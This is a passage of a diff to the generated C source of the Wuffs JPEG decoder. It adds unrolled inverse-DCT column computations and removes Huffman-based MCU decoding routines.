0; +- uint32_t v_z = 0; +- uint32_t v_mcb = 0; +- uint64_t v_stride = 0; +- uint64_t v_offset = 0; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][11u] | ++ self->private_data.f_mcu_blocks[0u][19u] | ++ self->private_data.f_mcu_blocks[0u][27u] | ++ self->private_data.f_mcu_blocks[0u][35u] | ++ self->private_data.f_mcu_blocks[0u][43u] | ++ self->private_data.f_mcu_blocks[0u][51u] | ++ self->private_data.f_mcu_blocks[0u][59u])) { ++ v_intermediate[3u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))) << 2u)); ++ v_intermediate[11u] = v_intermediate[3u]; ++ v_intermediate[19u] = v_intermediate[3u]; ++ v_intermediate[27u] = v_intermediate[3u]; ++ v_intermediate[35u] = v_intermediate[3u]; ++ v_intermediate[43u] = v_intermediate[3u]; ++ v_intermediate[51u] = v_intermediate[3u]; ++ v_intermediate[59u] = v_intermediate[3u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][19u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][19u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][51u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][51u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][35u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][35u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][11u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][11u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][27u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][27u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][43u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][43u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][59u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][59u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[3u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[59u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[11u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[51u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[19u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[43u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[27u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[35u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { +- while (self->private_impl.f_mcu_zig_index <= 0u) { +- wuffs_base__bulk_memset(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, 0u); +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; +- v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); +- v_dc_bl = (v_dc_ht_fast >> 8u); +- if (v_n_bits >= v_dc_bl) { +- v_dc_symbol = (15u & v_dc_ht_fast); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- v_bits <<= (v_dc_bl & 63u); +- v_n_bits -= v_dc_bl; +- } else { +- v_dc_code = ((uint32_t)((v_bits >> 55u))); +- v_dc_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; +- if (v_dc_code < (v_dc_ht_slow >> 8u)) { +- v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); +- if (v_dc_blm1 == 0u) { +- v_dc_symbol = 0u; +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- } +- } +- v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); +- v_dc_value += (v_dc_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_dc_symbol; +- v_n_bits -= v_dc_symbol; +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; +- self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; +- self->private_data.f_mcu_blocks[0u][0u] = self->private_impl.f_mcu_previous_dc_values[v_csel]; +- self->private_impl.f_mcu_zig_index = 1u; +- break; +- } +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- if (v_n_bits < 16u) { +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- } +- v_z = 1u; +- self->private_impl.f_mcu_zig_index = 0u; +- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[self->private_impl.f_mcu_current_block]; +- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; +- while (v_z < 64u) { +- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_ac_bl = (v_ac_ht_fast >> 8u); +- if (v_n_bits >= v_ac_bl) { +- v_ac_symbol = (255u & v_ac_ht_fast); +- v_bits <<= (v_ac_bl & 63u); +- v_n_bits -= v_ac_bl; +- } else { +- v_ac_code = ((uint32_t)((v_bits >> 55u))); +- v_ac_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; +- if (v_ac_code < (v_ac_ht_slow >> 8u)) { +- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); +- break; +- } +- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); +- if (v_ac_blm1 == 0u) { +- v_ac_symbol = 0u; +- break; +- } +- } +- } +- v_ac_rrrr = (v_ac_symbol >> 4u); +- v_z += (v_ac_rrrr + 1u); +- v_ac_ssss = (v_ac_symbol & 15u); +- v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; +- if (v_ac_ssss > 0u) { +- v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); +- v_ac_value += (v_ac_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_ac_ssss; +- v_n_bits -= v_ac_ssss; +- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = v_ac_value; +- } else if (v_ac_rrrr < 15u) { +- break; +- } +- } +- v_mcb = self->private_impl.f_mcu_current_block; +- self->private_impl.f_mcu_current_block += 1u; +- if (self->private_impl.f_test_only_interrupt_decode_mcu) { +- goto label__goto_done__break; +- } +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; +- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); +- v_offset = (self->private_impl.f_mcu_blocks_offset[v_mcb] + (((uint64_t)(self->private_impl.f_mcu_blocks_mx_mul[v_mcb])) * ((uint64_t)(a_mx))) + (((uint64_t)(self->private_impl.f_mcu_blocks_my_mul[v_mcb])) * ((uint64_t)(a_my)))); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); +- } +- } +- self->private_impl.f_mcu_current_block = 0u; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; +- } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; ++ if (0u == (self->private_data.f_mcu_blocks[0u][12u] | ++ self->private_data.f_mcu_blocks[0u][20u] | ++ self->private_data.f_mcu_blocks[0u][28u] | ++ self->private_data.f_mcu_blocks[0u][36u] | ++ self->private_data.f_mcu_blocks[0u][44u] | ++ self->private_data.f_mcu_blocks[0u][52u] | ++ self->private_data.f_mcu_blocks[0u][60u])) { ++ v_intermediate[4u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))) << 2u)); ++ v_intermediate[12u] = v_intermediate[4u]; ++ v_intermediate[20u] = v_intermediate[4u]; ++ v_intermediate[28u] = v_intermediate[4u]; ++ v_intermediate[36u] = v_intermediate[4u]; ++ v_intermediate[44u] = v_intermediate[4u]; ++ v_intermediate[52u] = v_intermediate[4u]; ++ v_intermediate[60u] = v_intermediate[4u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][20u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][20u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][52u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][52u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][36u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][36u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][12u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][12u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][28u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][28u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][44u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][44u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][60u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][60u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[4u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[60u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[12u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[52u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[20u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[44u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[28u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[36u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_ac_high_bits +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- const uint16_t* v_ac_huff_table_fast = NULL; +- uint8_t v_ac_h = 0; +- uint32_t v_ac_symbol = 0; +- uint32_t v_ac_ht_fast = 0; +- uint32_t v_ac_bl = 0; +- uint32_t v_ac_code = 0; +- uint32_t v_ac_blm1 = 0; +- uint32_t v_ac_ht_slow = 0; +- uint16_t v_ac_value = 0; +- uint16_t v_ac_extend = 0; +- uint32_t v_ac_rrrr = 0; +- uint32_t v_ac_ssss = 0; +- uint32_t v_z = 0; +- +- if (self->private_impl.f_eob_run > 0u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_eob_run -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- return 0u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][13u] | ++ self->private_data.f_mcu_blocks[0u][21u] | ++ self->private_data.f_mcu_blocks[0u][29u] | ++ self->private_data.f_mcu_blocks[0u][37u] | ++ self->private_data.f_mcu_blocks[0u][45u] | ++ self->private_data.f_mcu_blocks[0u][53u] | ++ self->private_data.f_mcu_blocks[0u][61u])) { ++ v_intermediate[5u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))) << 2u)); ++ v_intermediate[13u] = v_intermediate[5u]; ++ v_intermediate[21u] = v_intermediate[5u]; ++ v_intermediate[29u] = v_intermediate[5u]; ++ v_intermediate[37u] = v_intermediate[5u]; ++ v_intermediate[45u] = v_intermediate[5u]; ++ v_intermediate[53u] = v_intermediate[5u]; ++ v_intermediate[61u] = v_intermediate[5u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][21u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][21u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][53u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][53u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][37u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][37u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][13u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][13u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][29u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][29u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][45u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][45u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][61u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][61u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[5u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[61u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[13u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[53u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[21u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[45u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[29u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[37u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][14u] | ++ self->private_data.f_mcu_blocks[0u][22u] | ++ self->private_data.f_mcu_blocks[0u][30u] | ++ self->private_data.f_mcu_blocks[0u][38u] | ++ self->private_data.f_mcu_blocks[0u][46u] | ++ self->private_data.f_mcu_blocks[0u][54u] | ++ self->private_data.f_mcu_blocks[0u][62u])) { ++ v_intermediate[6u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))) << 2u)); ++ v_intermediate[14u] = v_intermediate[6u]; ++ v_intermediate[22u] = v_intermediate[6u]; ++ v_intermediate[30u] = v_intermediate[6u]; ++ v_intermediate[38u] = v_intermediate[6u]; ++ v_intermediate[46u] = v_intermediate[6u]; ++ v_intermediate[54u] = v_intermediate[6u]; ++ v_intermediate[62u] = v_intermediate[6u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][22u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][22u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][54u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][54u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][38u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][38u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][14u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][14u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][30u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][30u])))); ++ v_bq5 = 